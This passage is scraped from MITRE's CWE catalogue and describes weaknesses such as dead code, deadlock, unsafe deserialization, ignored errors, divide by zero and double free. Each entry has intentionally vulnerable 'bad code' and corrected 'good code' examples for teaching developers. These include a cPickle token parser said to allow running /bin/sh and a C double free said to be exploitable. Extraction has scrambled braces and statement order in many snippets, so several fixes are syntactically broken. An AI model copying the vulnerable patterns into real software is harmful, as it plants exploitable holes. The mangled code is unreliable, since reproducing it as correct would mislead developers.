number of sub-elements with non-primitive data types such as structures or aggregated objects.
This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability. While the interpretation of "excessively large" may vary for each product or developer, CISQ recommends a default of 5 sub-elements. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe code contains a data element with a pointer that does not have an associated copy or constructor method.
This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1072: Data Resource Access without Use of Connection Pooling
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product accesses a data resource through a database without using a
connection pooling capability.
This issue can make the product perform more slowly, as connection pools allow connections to be reused without the overhead and time consumption of opening and closing a new connection. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-561: Dead Code
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
Dead code is code that can never be executed in a running program. The surrounding code makes it impossible for a section of code to ever be executed.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Example 1 The condition for the second if statement is impossible to satisfy. It requires that the variables be non-null. However, on the only path where s can be assigned a non-null value, there is a return statement. (bad code)
Example Language: C++
String s = null;
if (b) { s = "Yes"; }return; if (s != null) { Dead(); }Example 2 In the following class, two private methods call each other, but since neither one is ever invoked from anywhere else, they are both dead code. (bad code)
Example Language: Java
public class DoubleDead {
private void doTweedledee() { }doTweedledumb(); }private void doTweedledumb() { doTweedledee(); }public static void main(String[] args) { System.out.println("running DoubleDead"); }(In this case it is a good thing that the methods are dead: invoking either one would cause an infinite loop.) Example 3 The field named glue is not used in the following class. The author of the class has accidentally put quotes around the field name, transforming it into a string constant. (bad code)
Example Language: Java
public class Dead {
String glue;
public String getGlue() { return "glue"; }Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-833: Deadlock
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product contains multiple threads or executable segments that are waiting for each other to release a necessary lock, resulting in deadlock.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
Relevant to the view "CISQ Quality Measures (2020)" (View-1305)
Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-502: Deserialization of Untrusted Data
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Relevant to the view "Architectural Concepts" (View-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Example 1 This code snippet deserializes an object from a file and uses it as a UI button: (bad code)
Example Language: Java
try {
File file = new File("object.obj"); }ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); javax.swing.JButton button = (javax.swing.JButton) in.readObject(); in.close(); This code does not attempt to verify the source or contents of the file before deserializing it. An attacker may be able to replace the intended file with a file that contains arbitrary malicious code which will be executed when the button is pressed. To mitigate this, explicitly define final readObject() to prevent deserialization. An example of this is: (good code)
Example Language: Java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized"); } Example 2 In Python, the Pickle library handles the serialization and deserialization processes. In this example derived from [REF-467], the code receives and parses data, and afterwards tries to authenticate a user based on validating a token. (bad code)
Example Language: Python
try {
class ExampleProtocol(protocol.Protocol):
def dataReceived(self, data): # Code that would be here would parse the incoming data # After receiving headers, call confirmAuth() to authenticate def confirmAuth(self, headers): try: token = cPickle.loads(base64.b64decode(headers['AuthToken'])) if not check_hmac(token['signature'], token['data'], getSecretKey()): raise AuthFail self.secure_data = token['data'] except: raise AuthFail Unfortunately, the code does not verify that the incoming data is legitimate. An attacker can construct a illegitimate, serialized object "AuthToken" that instantiates one of Python's subprocesses to execute arbitrary commands. For instance,the attacker could construct a pickle that leverages Python's subprocess module, which spawns new processes and includes a number of arguments for various uses. Since Pickle allows objects to define the process for how they should be unpickled, the attacker can direct the unpickle process to call Popen in the subprocess module and execute /bin/sh. Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-390: Detection of Error Condition Without Action
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
Relevant to the view "Architectural Concepts" (View-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Example 1 The following example attempts to allocate memory for a character. After the call to malloc, an if statement is used to check whether the malloc function failed. (bad code)
Example Language: C
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) { //We do nothing so we just ignore the error. }The conditional successfully detects a NULL return value from malloc indicating a failure, however it does not do anything to handle the problem. Unhandled errors may have unexpected results and may cause the program to crash or terminate. Instead, the if block should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following example notifies the user that the malloc function did not allocate the required memory resources and returns an error code. (good code)
Example Language: C
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) { printf("Malloc failed to allocate memory resources"); }return -1; Example 2 In the following C++ example the method readFile() will read the file whose name is provided in the input parameter and will return the contents of the file in char string. The method calls open() and read() may result in errors if the file does not exist or does not contain any data to read. These errors will be thrown when the is_open() method and good() method indicate errors opening or reading the file. However, these errors are not handled within the catch statement. Catch statements that do not perform any processing will have unexpected results. In this case an empty char string will be returned, and the file will not be properly closed. (bad code)
Example Language: C++
char* readfile (char *filename) {
try {
// open input file
ifstream infile; infile.open(filename); if (!infile.is_open()) { throw "Unable to open file " + filename; }// get length of file infile.seekg (0, ios::end); int length = infile.tellg(); infile.seekg (0, ios::beg); // allocate memory char *buffer = new char [length]; // read data from file infile.read (buffer,length); if (!infile.good()) { throw "Unable to read from file " + filename; }infile.close(); return buffer; catch (...) { /* bug: insert code to handle this later */ }The catch statement should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following C++ example contains two catch statements. The first of these will catch a specific error thrown within the try block, and the second catch statement will catch all other errors from within the catch block. Both catch statements will notify the user that an error has occurred, close the file, and rethrow to the block that called the readFile() method for further handling or possible termination of the program. (good code)
Example Language: C++
char* readFile (char *filename) {
try {
// open input file
ifstream infile; infile.open(filename); if (!infile.is_open()) { throw "Unable to open file " + filename; }// get length of file infile.seekg (0, ios::end); int length = infile.tellg(); infile.seekg (0, ios::beg); // allocate memory char *buffer = new char [length]; // read data from file infile.read (buffer,length); if (!infile.good()) { throw "Unable to read from file " + filename; }infile.close(); return buffer; catch (char *str) { printf("Error: %s \n", str); }infile.close(); throw str; catch (...) { printf("Error occurred trying to read from file \n"); }infile.close(); throw; Example 3 In the following Java example the method readFile will read the file whose name is provided in the input parameter and will return the contents of the file in a String object. The constructor of the FileReader object and the read method call may throw exceptions and therefore must be within a try/catch block. While the catch statement in this example will catch thrown exceptions in order for the method to compile, no processing is performed to handle the thrown exceptions. Catch statements that do not perform any processing will have unexpected results. In this case, this will result in the return of a null String. (bad code)
Example Language: Java
public String readFile(String filename) {
String retString = null;
try { // initialize File and FileReader objects
File file = new File(filename); FileReader fr = new FileReader(file); // initialize character buffer long fLen = file.length(); char[] cBuf = new char[(int) fLen]; // read data from file int iRead = fr.read(cBuf, 0, (int) fLen); // close file fr.close(); retString = new String(cBuf); /* do nothing, but catch so it'll compile... */ }return retString; The catch statement should contain statements that either attempt to fix the problem, notify the user that an exception has been raised and continue processing, or perform some cleanup and gracefully terminate the program. The following Java example contains three catch statements. The first of these will catch the FileNotFoundException that may be thrown by the FileReader constructor called within the try/catch block. The second catch statement will catch the IOException that may be thrown by the read method called within the try/catch block. The third catch statement will catch all other exceptions thrown within the try block. For all catch statements the user is notified that the exception has been thrown and the exception is rethrown to the block that called the readFile() method for further processing or possible termination of the program. Note that with Java it is usually good practice to use the getMessage() method of the exception class to provide more information to the user about the exception raised. (good code)
Example Language: Java
public String readFile(String filename) throws FileNotFoundException, IOException, Exception {
String retString = null;
try { // initialize File and FileReader objects
File file = new File(filename); FileReader fr = new FileReader(file); // initialize character buffer long fLen = file.length(); char [] cBuf = new char[(int) fLen]; // read data from file int iRead = fr.read(cBuf, 0, (int) fLen); // close file fr.close(); retString = new String(cBuf); System.err.println ("Error: FileNotFoundException opening the input file: " + filename ); } catch (IOException ex) {System.err.println ("" + ex.getMessage() ); throw new FileNotFoundException(ex.getMessage()); System.err.println("Error: IOException reading the input file.\n" + ex.getMessage() ); } catch (Exception ex) {throw new IOException(ex); System.err.println("Error: Exception reading the input file.\n" + ex.getMessage() ); }throw new Exception(ex); return retString; Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-369: Divide By Zero
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
This weakness typically occurs when an unexpected value is provided to the product, or if an error occurs that is not properly detected. It frequently occurs in calculations involving physical dimensions such as size, length, width, and height.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Relevant to the view "CISQ Quality Measures (2020)" (View-1305)
Relevant to the view "CISQ Data Protection Measures" (View-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
Example 1 The following Java example contains a function to compute an average but does not validate that the input value used as the denominator is not zero. This will create an exception for attempting to divide by zero. If this error is not handled by Java exception handling, unexpected results can occur. (bad code)
Example Language: Java
public int computeAverageResponseTime (int totalTime, int numRequests) {
return totalTime / numRequests; }By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. The following Java code example will validate the input value, output an error message, and throw an exception. (good code)
Example Language: Java
public int computeAverageResponseTime (int totalTime, int numRequests) throws ArithmeticException {
if (numRequests == 0) { }System.out.println("Division by zero attempted!"); }throw ArithmeticException; return totalTime / numRequests; Example 2 The following C/C++ example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur. (bad code)
Example Language: C
double divide(double x, double y){
return x/y; }By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. If the method is called and a zero is passed as the second argument a DivideByZero error will be thrown and should be caught by the calling block with an output message indicating the error. (good code)
Example Language: C
const int DivideByZero = 10;
double divide(double x, double y){ if ( 0 == y ){ }throw DivideByZero; }return x/y; ... try{ divide(10, 0); }catch( int i ){ if(i==DivideByZero) { }cerr<<"Divide by zero error"; }
Example 3 The following C# example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur. (bad code)
Example Language: C#
int Division(int x, int y){
return (x / y); }The method can be modified to raise, catch and handle the DivideByZeroException if the input value used as the denominator is zero. (good code)
Example Language: C#
int SafeDivision(int x, int y){
try{ }return (x / y); }catch (System.DivideByZeroException dbz){ System.Console.WriteLine("Division by zero attempted!"); }return 0;
Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-415: Double Free
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Relevant to the view "CISQ Quality Measures (2020)" (View-1305)
Relevant to the view "CISQ Data Protection Measures" (View-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Example 1 The following code shows a simple example of a double free vulnerability. (bad code)
Example Language: C
char* ptr = (char*)malloc (SIZE);
... if (abrt) {
free(ptr);
}... free(ptr); Double free vulnerabilities have two common (and sometimes overlapping) causes:
Although some double free vulnerabilities are not much more complicated than this example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once. Example 2 While contrived, this code should be exploitable on Linux distributions that do not ship with heap-chunk check summing turned on. (bad code)
Example Language: C
#include <stdio.h>
#include <unistd.h> #define BUFSIZE1 512 #define BUFSIZE2 ((BUFSIZE1/2) - 8) int main(int argc, char **argv) { char *buf1R1; }char *buf2R1; char *buf1R2; buf1R1 = (char *) malloc(BUFSIZE2); buf2R1 = (char *) malloc(BUFSIZE2); free(buf1R1); free(buf2R1); buf1R2 = (char *) malloc(BUFSIZE1); strncpy(buf1R2, argv[1], BUFSIZE1-1); free(buf2R1); free(buf1R2); Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
This is usually resultant from another weakness, such as an unhandled error or race condition between threads. It could also be primary to weaknesses such as buffer overflows.
Theoretical
It could be argued that Double Free would be most appropriately located as a child of "Use after Free", but "Use" and "Release" are considered to be distinct operations within vulnerability theory, therefore this is more accurately "Release of a Resource after Expiration or Release", which doesn't exist yet.
CWE-1049: Excessive Data Query Operations in a Large Data Table
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product performs a data query with a large number of joins
and sub-queries on a large data table.
This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability. While the interpretation of "large data table" and "large number of joins or sub-queries" may vary for each product or developer, CISQ recommends a default of 1 million rows for a "large" data table, a default minimum of 5 joins, and a default minimum of 3 sub-queries. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1067: Excessive Execution of Sequential Searches of Data Resource
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product contains a data query against an SQL table or view
that is configured in a way that does not utilize an index and may cause
sequential searches to be performed.
This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1094: Excessive Index Range Scan for a Data Resource
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product contains an index range scan for a large data table,
but the scan can cover a large number of rows.
This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability. While the interpretation of "large data table" and "excessive index range" may vary for each product or developer, CISQ recommends a threshold of 1000000 table rows and a threshold of 10 for the index range. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product performs too many data queries without using efficient data processing functionality such as stored procedures.
This issue can make the product perform more slowly due to computational expense. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability. While the interpretation of "too many data queries" may vary for each product or developer, CISQ recommends a default maximum of 5 data queries for an inefficient function/procedure. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
